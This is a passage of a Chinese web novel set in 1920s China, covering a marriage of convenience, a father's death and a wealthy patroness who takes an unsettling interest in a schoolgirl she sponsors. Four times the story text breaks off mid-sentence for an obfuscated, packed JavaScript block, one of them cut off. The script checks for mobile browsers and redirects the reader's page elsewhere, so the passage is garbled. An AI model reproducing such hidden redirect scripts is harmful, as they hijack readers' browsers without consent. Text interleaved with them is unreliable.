萧瑜定定望了他片刻,有些僵硬的转身:“你随意。” 她欲抬手开门,梁瑾从身后按住她的手把门关上,她回过身来,却被他紧紧搂住腰身压过来,后背抵在了门上。 “你——” 话音戛然而止,他低头重重的吻上了她的唇。 他的身子是滚烫的,他的呼吸是错乱的,他的双手是颤抖的,可他的吻却是极尽温柔怜惜的,那样小心翼翼的含着,吮着,纠缠着,厮磨着,仿佛生怕惊了扰了,破了化了。 萧瑜任他这样肆意轻薄,没有反应,却在他想进一步深入时,缓缓推开了他。 梁瑾如恍然惊醒一般,猛然睁眼看向她。 只见她在他怀里双目紧闭,微微颤抖,面无表情,静默好半天才缓缓吐出一口浊气,徐徐睁开双眼。 没有很欢喜,也没有很厌弃。 她目光复杂的看了他片刻,只轻声说了一句: “以后别这样了。” 然后她转身开门走了。 ...... 萧瑜在街上吹了许久的冷风,醉意散尽,这才回的霍府。 新婚之夜,总不能夜不归宿,这样太过不成体统。 霍府一度五世同堂,府宅比萧府还要大上不少,自从霍家定居上海,霍熙怀去世,这间宅子就空下来了,如今只有霍锦宁一个主子,还有一些过去的老仆。 纵使今日为了新婚大喜张灯结彩,也仍旧冷冷清清。深宅大院,雕梁画栋,这样寂静无声的深夜,总让人觉得阴森森的可怖。 新房内一片漆黑,萧瑜也不认为霍锦宁会在这里过夜,找了好几圈,终于找到了霍吉。 “小姐,少爷在书房。” 于是萧瑜向书房走去。 离着不远,终于看见了书房中亮着了暖黄灯光,为这萧瑟秋夜终于添上了一丝温暖气息。 灯下霍锦宁正坐在桌边,看着手里的信件。 见她进门,也并不在意,只淡淡道:“回来了?” 他将那封信递给她,她慢悠悠走过去接过来,寥寥数语,一目十行。 然后将信在烛火上点燃,放进霍锦宁拿过来的水晶烟缸里,眼看它被火舌舔舐,蜷曲成灰。 就在今天,大抵是两人拜堂成亲的良辰吉时,一笔巨额款项,以及一批苏式军火武器,秘密从上海运往广州。 这些物资经费是用作广州国民政府翌年开春之时,创办军官学校,建立革命军所用。 革命一干十年,中山先生终于醒悟,不能再只依靠军阀的力量,革命部队要创建自己的革命军,军官学校就是培养优秀军事人才的起点。 萧瑜问道:“你决定好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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霍锦宁摇头:“我只信命。” 顿了片刻,他轻叹道:“早些休息吧。” 这一夜,他睡书房,她睡客房,夜深花烛空照,喜字红床独枕,却不只是两个人的不眠夜。 . 十月五日,北京城在一片喧闹声中苏醒,沿街各商铺挨家挨户被要求悬挂国旗。众议院外站着一排排荷枪实弹的军警,戒备森严,议员经过严格搜查,排队入内,剑拔弩张,杀气腾腾。 总统大选正式举行。 历经一整天的选举,下午五时,结果揭晓,到会议员五百九十三人,曹大帅得票四百八十票,余下候选人几十票到几票不等。 值得一提的是,全场十二张废票中,有一张一人未选,仅在票面正书三个大字:五千元。 曹大帅至此当选为第五任中华民国大总统,世人讥讽为“贿选总统”。 辛亥以后,本来一腔热血的革命志士,在经历了称帝、复辟,巴黎和会失败,护国运动、护法运动的相继洗礼后,不少人已经心如死灰,麻木不堪,贿选之事似乎已是不值一提。 神州大地,内狼外虎,四万万被压迫的民众,究竟何处是出路? 一些人在黑暗中绝望长眠,一些人在混沌中同流合污,同样还有一些人在泥途蹒跚前行,孜孜不倦的寻找着光明的方向,星星之火在看不见的地方,愈烧愈旺。 28. 第 28 章 这个冬天,萧瑜和霍锦宁一同去了上海。 霍熙怀老爷子去世后,几个兄弟虽已分家,但毕竟霍老夫人还在,逢年过节的几兄弟携家带口齐聚霍公馆,四世同堂,倒也热热闹闹。 霍家原本是让萧瑜和霍锦宁二人在上海再办一场西式婚礼,但当事人并不热衷,这件事也就搁下来了。 除夕夜这晚,萧瑜这和霍锦宁一起给霍老夫人,以及霍成宣和夫人柳氏叩头敬茶,新媳妇就算是正式过了门。 沈月娘走后没过一年,霍成宣再娶,可惜依旧无所出。 这位柳夫人看起来也是小家碧玉的敦厚女子,霍成宣虽然妾室环肥燕瘦各有千秋,妻子却一味的爱挑这样老实本分的,不可谓不精明。 晚饭过后,霍老夫人身子乏了,上楼休息,霍成宣与四弟在书房下棋。他最近心情甚好,今日霍成宏从头到尾没有出现,只因上个月隆海纺织厂终是无法维持,转由地方金融维持会接管,落到他手已是指日可待了。 长辈离席,其余的人便没什么拘束了,堂嫂指使人在厅堂摆起了牌桌子,拉着霍锦宁堂姐妹和姑姑打牌。 偏巧这时候来了位不速之客。 “呦,这么热闹?看来我来的刚刚好。” 霍冬英再一次不请自来了,她从屋外进来,将貂皮外套脱给佣人,娉娉婷婷的走到牌桌前,从霍锦宁四叔家的小堂妹身后探过身子,斜倚在桌边,笑意盈盈: “出这张啊,傻愣着干什么?” 一屋子人脸色各异,小堂妹瑟瑟发抖,进也不是退也不是,僵硬的坐在那里。 三姑霍春音先发话了,“七妹,你怎么来了?” “我怎么不能来了?我不姓霍,不是你亲妹妹?”霍冬英似笑非笑,“还是三姐也和大哥三哥一样,为了我得了父亲那份遗产而生我的气?” 霍冬英从小到大,与兄弟姐妹相处都不融洽,遗产风波又将众人都得罪了干净,可她偏偏要频频出现在大家面前,似乎见别人不快,便是她最大的快乐一般。 小堂妹扛不住这诡异的氛围,率先起身,小声道:“我和弟弟去外面放烟花。” 她起身,霍冬英便顺势坐在了她的位置上,摸上了桌上的象牙牌,笑道:“正好,我来接你的局吧,咱们接着来,还是新开一局?” 霍春音也起身,不冷不热道:“我有些乏了,去休息一下,你们陪七妹接着玩吧。” 桌上剩下的一个堂嫂一个堂姐具是晚辈,不敢再退场,而围在桌边的人却是一哄而散。 眼看局面转眼冷清,霍冬英也不在意,抬眸瞥见不远处的萧瑜,连忙招呼着: “侄媳妇快过来搭把手,你就忍心见我们三缺一?” 萧瑜意兴阑珊,她是第一次来上海,不太习惯上海冬天阴冷潮湿的天气,假借教霍锦宁小侄女读英文童话为名,抱着孩子窝在壁炉边上就不打算挪地方了。 可霍冬英却偏要让她上桌,忙不迭的唤着,引得众人频频侧目。 萧瑜无奈:“我打牌不擅长,兜里钱少,你们要是允许我输花生米的我就玩。” 霍冬英噗嗤一乐:“霍小二在这里还能让你掏钱么?是不是呀,霍二少?” 她媚眼如丝,瞥向霍锦宁。 霍锦宁一哂,也很大方的对萧瑜道:“去玩吧,赢了给你,输了都算我的。” 萧瑜暗地里白了他一眼,她不愿意和这些女人玩牌他不是不知道,哪一次牌桌上不是家长里短,话里有话。她如今新进门小媳妇,可不愿意送上门给她们拿捏。 果不其然,女人牌局如战场,所争所比的不过是衣服珠宝,再不就是身边的男人。堂嫂堂姐只是敷衍几句,霍冬英却是意有所指,话没说两句就绕到她和霍锦宁身上,明里暗里的敲打着。 什么痴心不改等着霍锦宁的薛家小姐,什么放话要做霍二少姨太太的当红明星,什么跟在他身边出入风月场合白俄秘书,一边好似热心的给萧瑜提着醒,一边巴巴的等着看她笑话一般。 萧瑜听就听了,连笑都懒得笑。 被拿着当了小半辈子的挡箭牌,并且接下来大半辈子都会如此,这人逢场作戏的本事,她再清楚不过。不光是为了要明面上做好康家和萧家的好女婿,他这人心系家国,无暇私情,对这些男欢女爱很是恹恹。 可既然有人划下道儿,她总是要接的,口舌之快都是虚的,手底下见真章。跟着廖三哥混大的,赌场上什么作弊出千的伎俩她不会,几个贵妇小姐还是太嫩些。 霍冬英牢牢占着位置不动,其他两家走马观灯似的换人,萧瑜来者不拒,一个晚上,她赢了霍家一群老少女人统共二十三万真金白银。 之中九成都是霍冬英输给她的。 “我刚进霍家门,没想到诸位嫂嫂姐姐给我封了这么大一红包,真是过意不去。” 天亮时分,诸人离开时无不面如菜色,却只有霍冬英拉着萧瑜的手好笑道: “你呀,不过是跟你开开玩笑就气成这样子,要知道这世上没有不偷腥的猫儿。” 萧瑜刚想开口说什么却被霍冬英制止,她捏了捏她的脸蛋,似笑非笑道: “不过既然你那么在意,我就给你盯着点吧。” . 除夕夜后,萧瑜并不清闲,且不说要挨个拜访霍家族亲,各种酒会宴会邀请函也是如雪片一样飞过来。她这霍家二少奶奶,免不了要踏进上海的社交圈子走上一圈,让大家伙都满足一下好奇心,眼高于顶的霍二少究竟娶了个怎样的女人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424891|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这也就罢了,更糟心的是自那天牌局以后,霍冬英也隔三差五便邀萧瑜出门。从歌舞厅到俱乐部,她很会玩,认识的朋友也很多,身边总围绕着一群年轻男女,众星拱月一样。 萧瑜开始还去了几次,后来也烦了,想拉霍锦宁做挡箭牌也不行,这人忙的连人影也抓不着。 近日里他接手了霍家的民强铁路公司,这个曾经辉煌一时,如今千疮百孔,几乎倒闭破产的公司。 这不是什么考验亦或为难,这是他与霍成宣力争的结果。 铁路是民生根本,交通是经济基石,只有大地上纵横交错的交通脉络如血管一样活跃起来,这个国家的经济才能真正的苏醒。 萧瑜知道,霍锦宁他心里有一副山河画卷,勾勒着苍茫大地的希希未来。 将将出了正月,萧瑜借口父亲病重,要回去在床前伺候着尽最后孝道,同霍家诸人辞了行。 霍锦宁心知肚明也没有点破,他自然是要在上海照顾生意,往后日子不会长留北京了。 于是萧瑜一个人孤身从沪上回京,一路火车坐了两天一夜,从上海坐到南京,转车到天津,再到北京。一路向北,雪越来越大,山野起伏,满目荒凉。 第三天早晨,从火车上走下来时,萧瑜被扑面而来的冷风吹得一个寒颤,裹紧了身上的长大衣,深吸了一口干冷的空气,觉得恍如隔世。 霍家的汽车提前得了信到火车站来接她,她坐上了车,犹豫片刻,最终还是说,去燕子胡同。 进门之后,穿堂过榭,还没走到后院,就听见咿咿呀呀的唱腔,似水磨米粉面,痴痴缠缠,又似山泉淌林间,清清澈澈。 她站在门外出神听了半天,这才走进院子。 昨夜又下了场雪,今早还没来得及扫,一地乱琼碎玉,清清泠泠,槐树紫藤睡莲都枯了,唯有墙角的梅花星星开了几枝,在银装素裹间绽放点点碎红。 院中那人一身单薄的黑色长衫,手捏着一柄折扇,背影瘦削,声音悲切,好不凄楚: “小尼姑年方二八,正青春,被师傅削了头发......” 他唱的是《孽海记》中的一曲《思凡》,人说男怕夜奔,女怕思凡,如今他倒是将这色空不耐拜佛念经寂寞生涯的哀怨,唱的千回百转,应景十足。 颇有些,深闺怨妇之态。 她不禁噗嗤一乐。 他闻声一顿,惊讶转过身来,眉宇冷清,黑白分明的眼中刹那间染上欣喜: “你回来了?” 想她娘家在萧府,夫家在霍府,婆家在沪上霍公馆,可这话说的,就好像这里才是她的家一样。 但她没有反驳,凝视良久,只轻轻应了声: “嗯,回来了。” 29. 第 29 章 二月二十四,这天凌晨,萧瑜安排在萧子显身边的小丫鬟从萧府给萧瑜递来信儿,说是萧子显快不行了。 “快不行了?那就是没咽气,咽气了再说。” 萧瑜坐在厅堂,表情不耐的捏了捏眉心,挥退了来人。 来人也吵醒了梁瑾,他站在门口静静听完了两人的对话,这才进门。 他走到萧瑜身边,把手里的外衫披在她身上。 “当心着凉。” 萧瑜一下子抓住了他的手,抬头问他: “我这不孝女是不是该被天打雷劈?” 她面无表情,可梁瑾感觉到那只抓着他的手冰凉如水。 梁瑾反手握住她的手,用自己手心的温度温暖着她的,轻声说:“别太为难自己。” 这一句话反而让萧瑜皱起了眉头,她起身在屋内踱了几步,终于站定,几不可查的轻叹了一声: “去听听他有什么遗言。” 萧瑜是跟医生一起到的,平日里死气沉沉的院子里,此时聚满了忙进忙出的人。 她进了屋,站在里间床边,冷眼看着医生在做徒劳无功的抢救。 这个院子,她很多年没有进来过了,本就烟熏火燎的福/寿/膏气味里又夹杂着中药味,病气,恶臭味,让人闻之欲呕。 这个人她也很久没见过了,除了刚从国外回来时,隔着帘子象征性的请了安,连她结婚时,彼此也没照面。 此时躺在床上的这个人,不知道是否还能算是个人,他瘦得好像是一具只包了层皮的骨架,颤巍巍,软塌塌,半边身子勉强轻轻挣扎着,眼睛睁不开,只在喉咙深处含糊发出微弱的呻/吟。 不像是不甘,更像是祈求。 其实他今年才四十六岁。 “老太爷!老太爷到了!” 屋外一阵骚动。 萧如山披星戴月的来了,直接走到床边坐下,毫不嫌弃的拉住那只瘦骨嶙峋的手: “我儿,我儿醒醒!” 赵医生遗憾道:“老太爷,您节哀。” 萧如山双目通红,厉声质问:“怎么回事?到底是怎么回事?” 萧子显贴身伺候多年的小厮早就跪在旁边,重重磕了几个头,一把鼻涕一把泪道: “小的该死!爷半夜突然醒了,嘴里嘟囔着月亮,还一个劲儿的看向窗外,小的就把爷连人带椅搬到了窗边,让爷看月亮,没想到没多一会儿,爷就不行了。” “混账东西!” 萧如山一脚将那小厮踢到一边,小厮连滚带爬起来,顶着满脸的血,继续不住的磕头。 屋里说话声,哭泣声,怒吼声,求饶声,就像一幕荒诞的闹剧,又像是再寻常不过的一出生离死别。 俄倾,床上的萧子显突然剧烈挣扎了几下,然后再也没有了声息。 他并没能给任何人,留下任何只字片语。 萧瑜深吸一口气,转身大步走出了屋子。 任身后哭声喊声交织在一处: “四爷——” “我儿你怎么了,我儿——” “老太爷,老太爷您慢着点!来人啊,老太爷晕倒了——” 此时此刻,她脑海中突然闪过很多画面: 是银钏那天从井里被捞出来时被泡得惨白的脸,是小月娥被烟枪烫得青紫的胳膊,是沈月娘提起这个人时脸上复杂难言的表情,是朦胧记忆里康雅惠头也不回的背影。 光影交错,如同轮回。 有时她会有错觉,这座宅子里那个叫萧子显的那个人其实早就死了,死在沈月娘嫁人的那一天,死在母亲离开的那一日,这些年留在这里吞云吐雾,半死不活的,不过是阴间一死鬼,如今终于魂归虚无罢了。 结束了,都结束了。 当夜,萧如山悲痛交加,怒火攻心,病倒在床。 三日后,萧如山逝世。 . 萧家一门双丧,出殡那天极尽隆重奢华,与去年那场轰动京城的婚礼遥相照应,一悲一喜,成了街头巷尾人们茶余饭后津津乐道的谈资。 这场葬礼上,萧家子女披麻戴孝,守灵祭奠,唯独不见萧瑜。 她病了。 萧子显死后第二天她就病了,她觉得是前一晚上连夜奔波着了凉,当时要是听梁瑾的话把外衫披上就好了。 她说这话时,梁瑾叹了口气,把她额头上半干不湿的汗巾重新用冷水打湿,然后放在她头上,低声问她: “好点了吗?饿不饿,想吃什么吗?” 萧瑜被冷水激得浑身一抖,头脑清醒了几分,摇了摇头,而后无声的笑了笑。 萧家虽然待她不好,但毕竟将她养大,亲情不在,血脉在,也许老天也看不惯她如此冷漠了。 大哭一场全无可能,那么就只有大病一场以尽孝道了。 彼时霍锦宁正在香港与英国商人洽谈订购轻便铁轨的事宜,得到消息后,马不停蹄赶回北京。 终于风尘仆仆来到燕子胡同,进门时,正巧碰上梁瑾端着铜盆走出屋子去倒水,两人猝不及防打了个照面。 梁瑾本来还想问来人找谁,待反应过来面前这个衣冠楚楚,西装笔挺的少爷是什么人以后,脑袋嗡的一片空白。 手里的铜盆一个不留神摔到了地上,还提溜提溜转个不停,发出刺耳的声响。 梁瑾不知道自己该先收拾洒了一地的水,还是先躲起来,或者与这人义正言辞分毫不让的对峙一番。 终于在惊慌失措间勉强镇定,他捡起盆子,低声叫了句: “二少。” 霍锦宁舟车劳顿本来疲惫不堪,一身戾气,见此情此景,却不由噗嗤一声笑了出来。 梁瑾的脸一阵红一阵白,尴尬不语。 霍锦宁问:“瑜儿呢?” “......在屋里。” 霍锦宁颔首,径自进了房中。 萧瑜懒懒散散的掀开眼皮看了来人一眼,半理不睬: “来了?” 霍锦宁在她床边的凳子上坐下,伸手贴了一下她烧红的脸。 “一门双丧,你不出席,恐怕会落人口实。” 萧瑜凉凉的笑了一声:“我是冠了别个姓的外嫁女,与萧家无关。更何况......” 她瞥了他一眼:“那难道不是你的父亲祖父?” 霍锦宁神色不变,眉宇温柔而疏离: “我更不姓萧,否则你冠谁家姓去?” 萧瑜勉强提了一下嘴角,算是给他这个不好笑的笑话一个面子。然后不耐烦的闭上眼睛。 迷迷糊糊半晌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424892|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她忽然问了一句:“你说她有没有后悔过?” 霍锦宁一时不知她话里的“他”指得究竟是谁,可萧瑜大抵也不是想让他回答的,只是顾自笑笑,没再说话。 “剩下的事,我来处理。” 萧瑜点头,但又有些头晕,于是捂着额头说:“带走珏儿。” 霍锦宁会意:“我知道。” 于是萧瑜放下心来。 梁瑾端着食盘走进来,径自坐到床边,放下食盘,轻声道: “我蒸了鸡蛋羹,你好歹吃一点,不然怎么喝药?” 萧瑜一听鸡蛋羹就很反胃,一听药就更反胃: “都不吃,我说了去找西医大夫,注射一针好得快。” 梁瑾很有耐心的劝道: “叫小六子去找了,那你也要先吃的东西,不然胃里太空。不喜欢鸡蛋羹,那我熬点粥?” 萧瑜睁眼睛看向他。 往日里有廖三哥等人来访,他都会识趣的避开,今天却没有。 许是人在病中,脑子转的也比平常慢了些。 萧瑜又看向霍锦宁,只见他好整以暇看着两人,眼中含笑。 萧瑜有些不自在的咳了两声:“你还有事吗?” “本是无事的,现在有了。” 霍锦宁施施然起身告辞,临出门时还不忘叮嘱梁瑾一句:“好好照顾她。” 梁瑾这回心中更郁郁了,他回头看了一眼躺在床上抬手捂着眼睛明显在装死的那人,咬了咬牙,叫道: “萧萧!” 萧瑜给他吓了一跳:“你叫谁呢?” “除了你还有谁。” “你可以换个叫法。” “我偏要叫你萧萧,旁人叫你瑜儿,我要和他不同。” “......随你吧。” 萧瑜呻/吟了一声翻过身子,嘟囔道: “医生到底什么时候来啊......” 梁瑾觉得她这一病,居然流露出了一丝罕见的孩子气,心中软了再软,也就不去计较那么多了,伸手给她盖了盖被子,捋了捋湿溻溻的短发,像摸着一只难得乖巧安静的猫。 他轻轻叫着: “萧萧,萧萧......” 萧瑜没有应声,却也没有反驳。 良久,轻声道: “我小的时候,被当作男孩子养大,比萧府其他的姐妹幸运不知多少。不必大门不出二门不迈,不必学习女德女戒,想上学上学,想骑马骑马。可只有一点,我没有。大伯家的女儿每当生病之时,我那平日里凶神恶煞的婶婶就会十分紧张她,连大伯也会难得和蔼的嘘寒问暖。我很羡慕,于是就大冬天的半夜洗冷水吹冷风,让自己发高烧,跑去月姨面前,月姨便会十分紧张我,把我接去霍家照顾。” 她没有爹娘管,只有月姨会疼她。 那个时候,她是真的希望月姨是她的娘亲。 这世上每个人都有秘密,可有些秘密,要么一开始便说,要么永远也不要说出来,知道的永远不能假装不知道,过去的也永远回不去了。 而今,萧子显去了,这世上所有可能知晓她与霍锦宁是兄妹之人,都已不在了。 他们上一辈爱恩纠葛欠下的债啊,终究要儿女来还,何其不幸,何其不公。 30. 第 30 章 阿绣无意识的咬着手里的笔,正眉头紧锁的思考着书本上的数学题,突然脸颊一凉。 “啊——” 她轻叫出声,抬起头来。 钱亚萍手里拿着两个圆滚滚的橘子,笑眯眯的站在她面前, “午休也要抓紧时间看书,歇一会儿啦。” 阿绣摸了摸被橘子冰到的脸,不好意思的说:“可是这道题我还没有会,老师上课讲的第二种算法我没听懂。” “算了算了,还是要我阿萍姐大发善心的来给你解答吧!” 钱亚萍得意的和她挤坐在一张凳子上,把手里的橘子塞给阿绣:“我阿舅带回来的‘福橘’,你快尝尝,可甜了!我来看看是哪一道——” “嗯!” 阿绣点头,仔仔细细的低头剥橘子,塞进自己嘴里一瓣,又塞进钱亚萍嘴里一瓣。 “这道题还不简单...唔,我都吃过了,甜不甜?” 阿绣眼睛笑得弯弯:“甜!” 钱亚萍给阿绣讲过了这道题,没想到还有第二道,接着第三道......整本书画的勾勾叉叉的,一道接着一道。 “亚萍,还有这里......” 阿绣不好意思的指过去。 钱亚萍把书本一扔,捂着耳朵哀嚎着: “我叫侬姑婆好伐?你饶了我吧,我不想看见数字了。” 阿绣央求:“好亚萍,好姐姐,最后一道好不好?” “你整天学学学,不多学点有用的,学这些科目有什么用?” 阿绣虚心请教:“哪些是比较有用的?” 如果能区分出来就太好了,她现在除了国文和外语等文学科目有些进步,剩下仍旧一塌糊涂,尤其是数学。 “呐,比如音乐,钢琴一定要学啊,明年还要学小提琴呢!还有美术,一个优雅的淑女当然要有绘画功底啦。还有英语日语啊......” “我不要学日语!”阿绣突然道。 钱亚萍很不理解:“为什么?过段日子,我们都要选一门英文以外的洋文的,日语还简单些,难不成你要选法语?” “法语,就法语了。”阿绣固执道:“反正...我就是不喜欢日语。” “好好好,反正你要知道,洋文是顶顶重要的,不然以后出入高档场合,谁愿意和你聊天啊。” 钱亚萍掰着指头数着,慢慢从学校课程说到了穿衣搭配,梳头化妆,珠宝识别,香水品鉴。 眼见越来越离谱,阿绣越听越糊涂,不明白她嘴里的“重要”重要在哪里。 钱亚萍看她一头雾水,索性道:“算了算了,以后你就知道了,七小姐会亲自教你的。” “亚萍,你见过霍七小姐?” “当然了!”钱亚萍奇怪道:“难道你没见过她?” 阿绣摇摇头,很遗憾的说:“我一直都想跟七小姐当面道谢。” “这就稀奇了,不过没关系,你别担心,你们一定会见面的,七小姐对我们这些受她资助的女学生都特别好。” 钱亚萍偷偷摸摸的从衣领里拉出一条珍珠项链,炫耀道:“这就是七小姐送给我的。” 阿绣吓了一跳:“这么贵重?” “这算什么呀?七小姐最心善了,只要你讨她喜欢,她会送你更多东西呢!” 钱亚萍忍不住伸手捏着阿绣脸颊的软肉,笑眯眯道:“你长得又标致又秀气,七小姐一见面就会喜欢上你呢!” 阿绣的头被捏得摇摇晃晃的,有些疑惑,也有些欣喜,七小姐真的会喜欢她吗?那真的是太好了。 . 钱亚萍说得果然没错,没过多久,这天阿绣正在教室上课,门外来了一个自称是霍七小姐的下人,说要带她出去。 因为霍七小姐是学校董事,老师也认得她身边的人,就叫阿绣跟他走。 一边钱亚萍小声跟她说:“没错,他是七小姐的司机,快去吧!” 于是,阿绣惴惴不安的跟着司机出了学校,坐上了汽车。 沿途一路陌生,阿绣忍不住小声问道: “请问,我们要去哪里?” “去七小姐家。” 司机只回答了这一句,剩下无论阿绣问什么,他都缄默不语。 车子最终停在了一户院子门前,黑铁栅栏缓缓打开,车子驶入,院子里的景象慢慢映入眼帘。 这是一户十分气派的人家,院子里碧绿的草坪修剪得一丝不苟,其中盛开着一朵朵红玫瑰争奇斗艳,房子正前方有一池喷泉,纯白色石雕的安琪儿手中陶罐里喷出的高高泉水,在阳光下绽放出一弧彩虹。 眼前这座别墅,让阿绣想起前几天在课本上见过的西方城堡,哥特式的尖尖屋顶,教堂式的尖塔,彩绘玻璃镶嵌的精致门窗,砖红色的墙壁上有一层厚厚的爬山虎,充满着异国浪漫气息。 进入门内,是高耸吊顶的大厅,全部采用欧式装潢,光可鉴人的大理石地板,奢华的水晶吊灯,巨大的落地窗,色彩浓郁的西方油画,狭长的餐桌,银质的烛台...一切都像是走入了古老的欧洲梦境。 留声机悠然自得的旋转,客厅里飘摇着一曲肖邦的玛祖卡舞曲,优雅而华丽。 阿绣被女佣指引,小心翼翼的在实木雕花真皮沙发上坐下等待,觉得自己和这间房子好像有些格格不入。 不一会儿,传来了高跟鞋磕在地板上的清脆声响,阿绣抬头望去,看着一个身材婀娜的女人从巨大的旋转楼梯上,缓缓走了下来,步履慵懒,摇曳生姿。 她穿了件长及脚踝的米色刺绣丝绸睡袍,一头长长的卷发随意披散,神色慵懒,似乎才从床上刚刚起身。可她又是妆容细致,红唇妖娆,双耳上一对钻石耳环光芒耀眼,像从华丽的宴会上刚刚退场。 阿绣呆呆的看着她,她也在看向阿绣。 她容貌不算漂亮,年纪不算青春,可那一身骨子里的风情万种,实在叫女人也能为她失神。 “阿绣?” 阿绣回过神来,急忙躬身行礼:“阿绣见过七小姐。” 霍冬英意味深长的笑了笑,在沙发上坐了下来,懒散的倚着扶手,双腿交叠。 女佣适时的端上来两杯咖啡,霍冬英拿起杯子,不紧不慢的抿了一口,冲阿绣微微抬了抬下巴: “坐吧。” “......是。” 阿绣忐忑的在霍冬英面前坐下来,一时间手脚都不知道往哪里放。 她觉得霍冬英在打量自己,以一种奇怪的态度,即便她看起来是在喝咖啡。 她鼓起勇气开口:“七小姐,谢谢您资助我读书,我会努力学习,刻苦读书,将来报答您。” 说完她站起来,认认真真的给霍冬英鞠了一个躬。 她很笨,说不出漂亮话,但这就是她的心里话。上学一直以来都是她藏在心底不敢说出来的愿望,现在居然真的实现了,她真的特别特别感激这位善心的七小姐。 霍冬英轻声笑了一下,看向她的目光更加兴致十足了。 “好孩子,不用你的报答,我做这些从来不是要求回报的。” 她张开双臂示意:“你也看见了,我十分富有,我先生是个短命的,他连一个孩子也没有留给我,只留给了我几辈子也花不完的钱。我的父亲也十分爱我,他死后留给了我巨额遗产和这栋房子。所以,我是一个孤独的可怜人,我什么也没有,只能冷冷清清的住在这栋大房子里,面对着日复一日的寂寞,了此残生。” 她笑着看向阿绣:“我喜欢像你一样聪明漂亮的女孩子了,如果你真的想报答我,不如时常来身边陪陪我,你说好不好?” 阿绣迟疑的点头:“当然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424893|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了,我很愿意。” “那就好,我真开心。” 霍冬英咯咯笑了起来,她举杯示意阿绣: “尝一尝现磨的哥伦比亚咖啡豆。” 阿绣听话的模仿着她的动作,拿起那只英伦雕花骨瓷茶杯,小小的喝了一口,苦涩冲鼻,猝不及防被呛得咳个不停。 “咳咳,好苦啊......” 霍冬英一愣,而后又失笑不止。 “瞧瞧,连咖啡也不教你喝,看来你要学的东西还很多啊......” 她意味深长的看向阿绣。 除了汤药,阿绣没喝过这样难喝的东西,一时间眼泪汪汪的伸着舌头,有点可怜巴巴的问: “能,能给我杯水吗?” 女佣为她端上了一杯清水,并且禀告主人: “小姐,赵小姐到了。” “快让她进来。” 话音未落,一个年轻女孩子已经走进了客厅,笑意盈盈喊道: “干妈!” 她看起来十八九岁,白皮肤瓜子脸大眼睛,一头黑色长直发,一身时髦的连衣裙,大家闺秀,端庄清丽。 霍冬英和她亲热了行了法式贴面礼,然后向阿绣介绍: “她是赵婕妤,也是我资助的学生,比你长两年,我已经认她做我的干女儿了。” 阿绣赶紧起身打招呼,有些拘谨。 赵婕妤却大大方方走过来拉住她的手,柔声道:“阿绣妹妹,早听干妈说起过你,真是个俊俏的小美人胚子。” 霍冬英适时开口:“正好,婕妤来了,你们中午就一同留下来陪我吃饭吧。今天早上有人送来新鲜的帝王蟹,我叫厨房做芝士焗蟹好不好?” 阿绣推脱不掉,只能留下来。 吃饭前,霍冬英上楼换了一身衣服下来,这回是墨绿色的丝绒旗袍,上面是金丝线绣的大朵牡丹,长发轻挽,配上颈间耳上老种翡翠的项链耳环,依旧慵懒,却是换了种风情。 午饭是西餐,从没见过的食材和烹饪方式,浓缩成精致的菜肴,被厨师精心的摆放在雪白的瓷盘中,面前时一排光可鉴人的银质刀叉。阿绣在学校礼仪课上学过刀叉的用法,使用还是第一回,因为不熟练而频繁出错,在姿态优雅的霍冬英和赵婕妤面前十分尴尬。 可两人非但没有笑话她,反而手把手的耐心教导她,直到她能独立使用为止,缓解了她的窘迫。 一顿饭吃得战战兢兢。 吃完饭,霍冬英又拉着阿绣和赵婕妤说了好一阵话,这才开口让司机送阿绣回去。 “小姐。” 女佣捧着一堆衣服走过来。 霍冬英随手翻了一下,对阿绣道: “我这里有些衣服,是前几年给婕妤做的,有好几件还没上身,样式不过时,可惜穿不上了。你拿回去穿吧,不然丢掉也是浪费。” 阿绣走出这栋古堡一样美丽浪漫的院子时,不自觉松了一口气。 这样奢华的富裕生活,像一个巨大的肥皂泡泡,在阳光下散发着七彩的光,毫无预兆的出现在她面前,却让人心神不安。 这位霍七小姐和她想象中的,稍微有一点点不一样。 回去的路上,阿绣翻了翻霍冬英给她的衣服,都是极好的料子,而且款式也很郑重。 丁妈为她置办的衣服,多是素雅的日常服饰,而这些衣服却都是一些丝绸刺绣的旗袍,欧根纱的长裙,还有各式各样适用各种场合的漂亮礼服。 